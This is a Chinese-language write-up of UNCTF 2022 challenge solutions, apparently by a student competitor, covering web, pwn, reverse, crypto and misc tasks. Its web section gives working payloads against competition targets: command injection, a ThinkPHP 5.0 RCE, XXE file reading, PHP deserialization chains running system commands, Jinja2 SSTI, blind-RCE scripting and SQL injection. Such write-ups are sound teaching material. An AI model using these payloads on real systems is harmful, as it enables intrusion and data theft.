web

我太喜欢 bilibili 大学啦–中北大学

打开就一个 phpinfo
直接搜 flag 直出

虽然我是中北大学的,但这不是我们实验室出的题
略感离谱

签到-吉林警察学院

打开有行注释
以为拿来当用户名密码登录就完了来
结果只有个登录成功
假签到题
尝试使用其他用户名(规律:用户名=密码)
发现学号改一下会出现字符
再试试还有
开始爆破
burp 先设置最后一位为变量从 1 爆到 9
然后再设置两位为变量从 10 开始往后爆
最后手打的 flag
懒得写脚本了(为了个签到题写脚本不太划算)

easy_upload-云南警官学院

传个一句话 mua 写的图片 🐎
进去发现不行
试了半天
把 ContentType 改成 png
传进去了
然后 🐜🗡 连一下
找 flag
在/home/ctf/flag

302 与深大-深圳大学

进去提示 302 重定向
burp 抓包
然后让 get 和 post 传参进去
最后改cookie: admin=true
flag get√

我太喜欢 bilibili 大学啦修复版-中北大学

打开又是 phpinfo
看题目描述找 hint
于是搜索 hint
发现指向 admin_unctf.php
看源码发现注释

在这里插入图片描述
再抓包,发现 hint2
get 用户名密码 unctf2022
审源码
注入点为 cookie 的 rce
cmd=127.0.0.1|cat /flag
在这里插入图片描述
得到个网址
指向 B 站用户界面,flag 出现在个签里

babyphp-中国人民公安大学

在这里插入图片描述
先是弱类型 0e1 直接过
的二个弱类型比较 sha1 值
拿出收集的 sha1 值为 0exxxx 的字符组个 payload post 上去:
a=0e1&key1=aaroZmOk&key2=aaK1STfY
当然用数组绕过也可以
a=0e1&key1[1]=1&key2[1]=2
发现回显有手就行
说明到最后一步了找了半天姿势
print env 出了
?code=print_r(exec("env"));

ezgame-浙江师范大学

进入游戏发现 999 滴血比 10 滴血
于是直接定位血量,搜索 10 和 999
发现 10 有一对 110 干扰,不好定位
于是从 999 下手
把 mainjs 放到本地
把代码缩起来方便看
发现 999(5149 行)在 120 里面定义
往前找 new 的 r 发现定位到 146(5104)

在这里插入图片描述
去看 146
发现个 life 和 maxlife
选择 maxlife 下手
先下个断点
在这里插入图片描述
运行后调用来生成各个属性,一开始给的是 10 即自己的血量
再继续运行直到 t=999
再修改右侧作用域里的 t 为 0
继续运行 flag 弹出
在这里插入图片描述

给你一刀-西南科技大学

放个 tp5.0 的页面在主页
指向性太明显了
直接搜 tp5.0 漏洞
当然以 rce 为主
只看了前几个网址
共有两种 payload
试了之后有一种成功
?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=env

听说 php 有一个 xxe-西南科技大学

拿出 xxe 最简单的 payload(做 buuctf 某 xxe 题时 payload 留的)
用 raw 格式发包

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY flag SYSTEM "file:///flag">
]>
<root>
<username>&flag;</username>
<password>2333</password>
</root>

在这里插入图片描述

快乐三消-河南理工大学

做 ctfshow 的黑盒题做多了这种题就好说了
先扫目录扫到 admin 和.git
githack 直接 down 下来
发现没多少东西
转去看 admin
也没注释啥的
开始猜密码
没猜到
放了一段时间回来看想到 admin 目录下还可能有备份泄露
之前光跑的主目录下的
跑 admin 下发现个 login.php.bak
有注释 admin/unctf
进入后台
在这里插入图片描述

本来又想 upload 的时候
直觉告诉我应该不是
转去看源码
发现 fi.php?filename=index.php

到这里后发现刚才扫目录的时候也扫到 fi 了
但是当时不知到咋用
fi 应该是 file 吧
学会了,下会遇见就接?filename=

定位到那个按钮发现是个网站套网站,应该能读 flag
/admin/fi.php?filename=/flag
读到
题本身不难
但是误导性太强了
出题师傅 tql

ezunseri-西华大学

destruct->get->toString->invoke->绕过 wakeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
class Exec
{
public $content;

public function execute($var)
{
eval($this->content);
}

public function __get($name)
{

echo $this->content;
}
public function __invoke()
{
$content = $this->execute($this->content);
}

public function __wakeup()
{
$this->content = "";
die("1!5!");
}
}


class Test
{
public $test;
public $key;

public function __construct()
{

$this->test = new Exec();
$this->test->content = "system('cat /fl*');";
}
public function __toString()
{
$name = $this->test;
$name();
}
}

class Login
{
public $name;
public $code = '3.1415926';
public $key;

public function __destruct()
{

if ($this->code = '3.1415926') {
return $this->key->name;
}
}
}

$a = new Login();
$a->key = new Exec();
$a->key->content = new Test();
echo serialize($a),"\n";

得到
O:5:"Login":3:{s:4:"name";N;s:4:"code";s:9:"3.1415926";s:3:"key";O:4:"Exec":1:{s:7:"content";O:4:"Test":2:{s:4:"test";O:4:"Exec":1:{s:7:"content";s:19:"system('cat /fl*');";}s:3:"key";N;}}}
将 Exec 的成员数改为 2(两个任意一个即可)
绕过 wakeup
O:5:"Login":3:{s:4:"name";N;s:4:"code";s:9:"3.1415926";s:3:"key";O:4:"Exec":1:{s:7:"content";O:4:"Test":2:{s:4:"test";O:4:"Exec":2:{s:7:"content";s:19:"system('cat /fl*');";}s:3:"key";N;}}}

poppop-中国人民公安大学

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class A
{
public $code = "phpinfo();";
function __call($method, $args)
{
eval($this->code);
}
function __wakeup()
{
$this->code = "";
}
}

class B
{
public $key;
function __destruct()
{
echo $this->key;
}
}
class C
{
private $key2;
function __construct()
{
return $this->key2 = new A();
}
function __toString()
{
return $this->key2->abab(1,1);
}
}
$b = new B();
$b->key = new C();
//$b->key->key2 = new A();
echo urlencode(serialize($b)), "\n";
echo serialize($b), "\n";

babynode-云南大学

看题目描述
原型链污染
直接套

ps:感觉见过类似的题好像是 ctfshow?

json 格式传

1
{"__proto__":{"id":"unctf"}}

在这里插入图片描述

easy ssti-金陵科技学院

jinjia2
ssti 常用 payload 随便上一个
过滤 class
各种操作掩护一下 class
都不行
class 查的很严啊
别骂了别骂了
在这里插入图片描述

换方法:
{{x.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()")}}
成功输出
改下 payload 读 flag.txt
NM
在这里插入图片描述
给你点祝福了你还骗我
nnd
想到这个比赛藏 flag 基本都在 env 里
有无代打出题人服务
读 env
成功
在这里插入图片描述

easy_rce-西南科技大学

提示 rce 的布尔盲注
发现><被过滤 不乐
写脚本直接爆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

charlist = 'abcdefghijklmnopqrstuvwxyz01234567890_-'
result = ''
for i in range(7, 50):
for char in charlist:
url = "http://4a423fce-e3cf-4d13-9f02-f28cb11fa8ba.node.yuzhian.com.cn/index.php?code=test $(echo $(tac /?lag)|cut -c {0}) == {1}||1".format(
i, char)
# print(url)
back = requests.get(url=url)
# print(back.text)
if "success" in back.text:
result = result + char
print(i, back.text)
break
if "fail" in back.text:
break
print('UNCTF{' + result + '}')

EZ-2048

按下 f12
发现程序监听等候在 game.js
然后想到输入邀请码错误后返回 error
在 game.js 搜索 error
在这里插入图片描述
然后一直往上查到 checkInvited()
仔细阅读后发现
加密方式在这里
分奇偶数进行两种异或
在这里插入图片描述
由于环境中 f12 自动卡在 debuger
所以只能 down 到本地运行
在这里插入图片描述
本地起了个环境
删掉 game.js 的第一行
使得可以本地调试
由于需要得到这几组数据
在这里插入图片描述
需要转成正常 10 进制
尝试打个断点
看下数据
可以在 debug 中
在这里插入图片描述
点击 buf 后面的跳转到内存检查器
16 转 10 后得到正常数据
在这里插入图片描述
写脚本逆回去
由于偶数列与 invite 的 i+1 相关即 invite 的奇数项
所以需要先将 invite 的奇数项全部生成
先把奇数项逆回去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
view = [
68, 51, 15, 80, 93, 14, 58, 50, 88, 48, 42, 26, 13, 22, 18, 5, 2, 86, 0, 2,
0, 19, 0, 0
]
inv = ''
for i in range(1, 24, 2): # 先逆奇数项
other = view[i - 2] if i - 2 >= 0 else 0
view[i] ^= other

for i in range(0, 24, 2): # 再逆偶数项
other = view[i + 1] if i + 1 <= 23 else 0
view[i] ^= other

for i in range(24):
inv += chr(view[i])

print(inv)
## w3lc0me_7o_unctf2022!!!!

然后将本地的 game.js 中 addRandomTile()
生成的随机方块改为固定的
即将 223 行改为
const value = 1024;
通关条件检测的是 1024 碰撞生成 2018 的过程
此处若改为 2048
则无该过程
所以最快只能改为 1024

我感觉该题貌似也可以通过逆向 wasm 来直接获取 flag
不过那估计就不是 web 题了 乐
本来这题就是个密码学题 不乐

在这里插入图片描述

随便注-云南警官学院

过滤了 or and select use(是 use 不是 user?怪哦)双写可绕过
尝试了几下没啥手感
转去偷懒用 sqlmap
先是读库,表,行都正常
记得有个 haha 表 笑话我是吧
然后还有个 ctftranning -> FLAG_TABLE -> FLAG_COLUMN 读的时候没回显貌似是空的
但是读 ctftranning 里的 news 里面说就在这个库里,但不在这
人傻了
在那个库里疯狂找
甚至怀疑 FLAG_COLUMN 里的读不到是有过滤导致的
还在那想咋绕过啥的
最后死活出不来
于是去尝试 sql 注入的文件操作
sqlmap --os-shell没成功?
但是--file-read "/flag"成功带回

Sqlsql-中国人民公安大学

审源码发现
多处都有 addslashes_deep 过滤
有想到时 addslash 旧版本有绕过
跟进之后发现该函数过滤挺严格的
于是放弃该方法
转向逻辑性漏洞
最后发现 index.php 里
在这里插入图片描述
qxxx 都没有经过 addslashes_deep 过滤直接 insert 进去了
尝试从这里注进去
由于本体的重点应该是使用 admin 用户去查询
所以考虑能 insert 一个 admin 用户的方法
不需要查数据所以也就不需要回显
');insert into users values (NULL,'admin','2105044235');#
在 index.php 的做题界面随便选
burp 截包将上面 payload 加在 post 的答案后面重发
然后登出
用 admin 登录
在这里插入图片描述

查询成绩
在这里插入图片描述

这里查询任何一位存在的用户都可以 get flag

PWN

welcomeUNCTF2022-云南警官学院

在这里插入图片描述

在这里插入图片描述

石头剪刀布-西华大学

伪随机数
伪代码中 seed=0xA
然后 pwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
from ctypes import *
elf = cdll.LoadLibrary('libc.so.6')

context.log_level = 'info'

elf.srand(0xA)
k = 0
list = []

conn = remote('node.yuzhian.com.cn', 31599)

conn.recv()
conn.send('y')
conn.recv()
print("pwn!")
conn.recv()
print("1")

for i in range(100):
num = elf.rand() % 3
if num == 0:
payload = 2
elif num == 1:
payload = 0
else:
payload = 1
print(i, ':', payload)
print(str(payload))
conn.sendline(str(payload))
tf = conn.recvrepeat(timeout=0.1)
# if "success!!!" in str(tf):
# print("###################")

conn.close()
flag = conn.recvall()
print(''.join(list), tf, flag)

在这里插入图片描述

re

whereisyourkey-广东海洋大学

先看 main
建了个数组
经过 ooooo 处理
即为 flag
在这里插入图片描述

在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <iostream>
using namespace std;

int ooooo(int a1)
{
if (a1 == 109)
return 109;
if (a1 <= 111)
{
if (a1 <= 110)
a1 -= 2;
}
else
{
a1 += 3;
}
return a1;
}

int main()
{
int v5[10], i;
v5[0] = 118;
v5[1] = 103;
v5[2] = 112;
v5[3] = 107;
v5[4] = 99;
v5[5] = 109; // //109
v5[6] = 104;
v5[7] = 110;
v5[8] = 99;
v5[9] = 105;

cout<<"UNCTF{";
for (i = 0; i <= 9; ++i)
{
v5[i] = ooooo(v5[i]);
cout << (char)v5[i];
}
cout<<"}";
}

ezzzzre-广东海洋大学

在这里插入图片描述
直接根据他的处理 flag = 2 * aHelloctf[i] - 69;
在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <iostream>
using namespace std;

int main()
{
string aHelloctf = "HELLOCTF";
string flag;
int i;
for (i = 0; i <= 7; ++i)
{
flag = 2 * aHelloctf[i] - 69;
cout << flag;
}

//cout << flag << endl;
}

crypto

dddd-西南科技大学

就 0 和 1 转成.-
/转成空格
莫斯解
赛博厨子构造一手一把梭

md5-1-西南科技大学及 misc 小心海最后一步脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from hashlib import md5

######这里是MD5-1的脚本

file = open("outben.txt", 'r')
line = file.readlines()
## rint(line)

list = [
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',
'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '1', '2', '3', '4',
'5', '6', '7', '8', '9', '0', '{', '}', '_'
]
flags = []
for i in line:
for j in range(0, 36, 1):
md = md5(list[j].encode()).hexdigest()
if (i.strip('\n') == md):
flags += list[j]
flag = ''.join(flags)
print('UNCTF{'+flag+'}')

####################下面是misc小心海的脚本,因为很像,直接拿md5-1的改的

from hashlib import md5

file = open("out.txt", 'r')
line = file.read()
md = []
for i in range(0, 21):
md.append(line[i * 32:(i + 1) * 32].lower())
print(md)

list = [
'U', 'N', 'C', 'T', 'F', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y',
'z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '{', '}', '_'
]
flags = []
for i in md:
for j in range(0, 44, 1):
md = md5(list[j].encode()).hexdigest()
if (i == md):
flags += list[j]
flag = ''.join(flags)
print(flag)

md5-2-西南科技大学

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from hashlib import md5

file = open("out.txt", 'r')
line = file.readlines()
## rint(line)

list = [
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',
'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '1', '2', '3', '4',
'5', '6', '7', '8', '9', '0', '{', '}', '_', 'U', 'N', 'C', 'T', 'F'
]
flags = []
t = []
for i in range(0, 39):
for j in range(0, 44, 1):
if i == 0:
f = int(md5(list[j].encode()).hexdigest(), 16)
hexed = hex(f)[2:]
if (line[i].strip('\n') == hexed):
flags += list[j]
t.append(f)
else:
f = int(md5(list[j].encode()).hexdigest(), 16)
hexed = hex(f ^ t[i - 1])[2:]
if (line[i].strip('\n') == hexed):
flags += list[j]
t.append(f)
flag = ''.join(flags)
print(flag)

caesar-西南科技大学

凯撒换表 base

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
## B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY}
## UNCTF{w0w_Th1s_d1fFerent_c4eSar}
## ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
## K=+19
file = open("caesar.txt", "r")
t = []
o = file.read()
list = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
## f = o.strip('\n')
for i in range(0, 27):
for j in range(0, 64):
print(o[i])
if o[i] == list[j]:
if j + 19 <= 64:
t.append(list[j + 19])
else:
t.append(list[j + 19 - 64])
# print(t)
break
# (list[j + 19])
# break
# print(o[i], list[j])
flag = ''.join(t)
print(flag)

Single table-西南科技大学

paymfairx 密码修改
对称加密的流密码
根据 key 和 table 对应关系
列出新 table 如下图左侧
根据交叉对应关系得到右侧第三行
(第四行是我转小写尝试,还忘了个 T)
发现前面完美对应
后面却出现错误
看 koqw 像 know
know 啥哪
paymfairx 密码吗
略作改动:
UNCTF{GOD_YOU_KNOW_PLAYFAIR}
也不知道是故意需要修改的还是
我有那个细节错了
反正能做出来不管了

在这里插入图片描述

Multi table-西南科技大学

略修改加密算法
使其输出table,base_table.index(flag[i])来得到其他无关随机数的固定数据
可得出 UNCTF 加密得到的 SDCG
分别在table[?、?、?、?][9、14、5、16]
由此可根据前四位密文逆推出key = [9, 15, 23, 16]
这样解密所需的全部数据得到
编写解密脚本
加密:

1
2
3
4
5
flowchart LR
加密 --> flag
加密 --> key
flag --> base_table列 -->table列
key --> table行
1
2
3
4
flowchart LR
解密 -->key
table行 -->table列 --c--> base_table列 --> flag
key --> table行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from string import ascii_uppercase
from binascii import b2a_hex,a2b_hex

flag = ''
c = 'SDCGW{MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}'
base_table = [
'J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N',
'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B'
]
table = {}
key = [9, 15, 23, 16]
for i in range(26):
table[i]=ascii_uppercase[i:]+ascii_uppercase[:i]
x = 0

for i in c:
if i in ascii_uppercase:
bt_num = table[key[x%4]].index(i)
flag += base_table[bt_num]
x += 1
else:
flag += i
print(flag)

以后找时间学学密码吧
之前一直想学一直没找到时间
靠着从 misc 那学的古典密码啥的,写了前几题的脚本
还有积累的脚本工具走到这
rsa 好多解应该是基础的 rsa,想拿工具试试来,苦于不咋会用于是 rsa 作罢
比完赛一定找大佬学学

MISC

magic_word-西南科技大学

提示都送到嘴边了
直接零宽一把梭
在这里插入图片描述

syslog-浙江师范大学

打开是个系统日志文件
寻找敏感信息例如
发现能搜索到 password
在这里插入图片描述
解 base 得到压缩包密码
秒出

In_the_Morse_Garden-陆军工程大学

pdf 发现隐藏字符
赛博厨子构造一手
在这里插入图片描述

芝麻开门-广东海洋大学

txt 下面有段 base
a2V5MQ==
拿他当 lsb 密码,一把梭

找得到我吗-闽南师范大学

docx,隐藏字符,零宽都试过了
以为触及知识盲区了
放了发现已经很多解了
然后鼓起勇气看了下 xml
发现还真在里面

misc 刷的文档题不多,还没大见过放在 xml 里的,我太菜了,还好知道这个知识点
但那道社什么社这么多解是真没想到,没对上脑电波?

在这里插入图片描述

zhiyin

小~黑子!

hex 看篮球,一眼倒了
逆过来
Go_p1ay(那个 1 和 l 我当时都没发现,还有下划线也没划清楚,傻乎乎试了半天)
下半段 zhiyinhex 里发现.-莫斯出
在这里插入图片描述

巨鱼-河南理工大学

上来 binwalk 下
出来个压缩包
对 fish 一通操作没找到密码
卡了半天去看别的题了
回来发现 png 有大问题
修改长宽高发现无所谓我会出手
解压
文档有密码
去看图片

我当时一眼苯环,服了,高中化学差点还给老师了

本来以为氯化苯
输入 C6Cl6、汉语等都不对
静下心来一看,这 nm 不是苯环
再试 C6H6Cl6 还不对
脑洞一开 666
flag get√
在这里插入图片描述

清和 fan-江西警察学院

在这里插入图片描述
先是注释提示社工
很容易找到
解压缩
lsb 隐写
在这里插入图片描述
得到第二层密码
发现段 wav 文件
听了下,这频率感觉像 sstv

vmware 的 Kali 前几个月转 wsl 了
kali 临时现装 sstv 出了点 bug
网上找了半天发现个手机软件

大晚上的 舍友都在打游戏,吵得很
于是去阳台识别
北方地区大晚上冷得很
识别了好几次
出来个微糊的

在这里插入图片描述
flag get√

清和是吧,举办了 不是

剥茧抽丝-内蒙古警察职业学院

nm 看到这注释,有多少人想到的是掩码
hashcat 跑了好几分钟
发现密码就是这
小丑竟是我自己
在这里插入图片描述
零宽换了几个方式,终于出了(文件零宽)

在这里插入图片描述
结果,这不是下一层密码
看了眼 hint
crc 不一样
没对上脑电波
卡了几天?
想到,外面的比里面的大,能删减啊
把零宽的部分删了
发现正好
明文攻击
在这里插入图片描述
然后再用上面一层零宽解出来的解密码
flag get
颓废~(这个题是拖得最长的,不乐)

我小心海也绝非鳝类-中国计量大学现代科技学院

小心海说的话解 base92
一开始 ocr 识别的 c 成大写了
解出来有不可打印字符
检查了一遍改过来了

然后发现能 lsb EASYLSB
尝试把小心海的话当密码再解 lsb
发现串 16,开始误入歧途转了文件
想到小心海给我说的话
尝试 md5 转
切片 32 位
再改下 md5-1 的脚本==细看的话去 cypto 区 md5-1 看吧
直出
在这里插入图片描述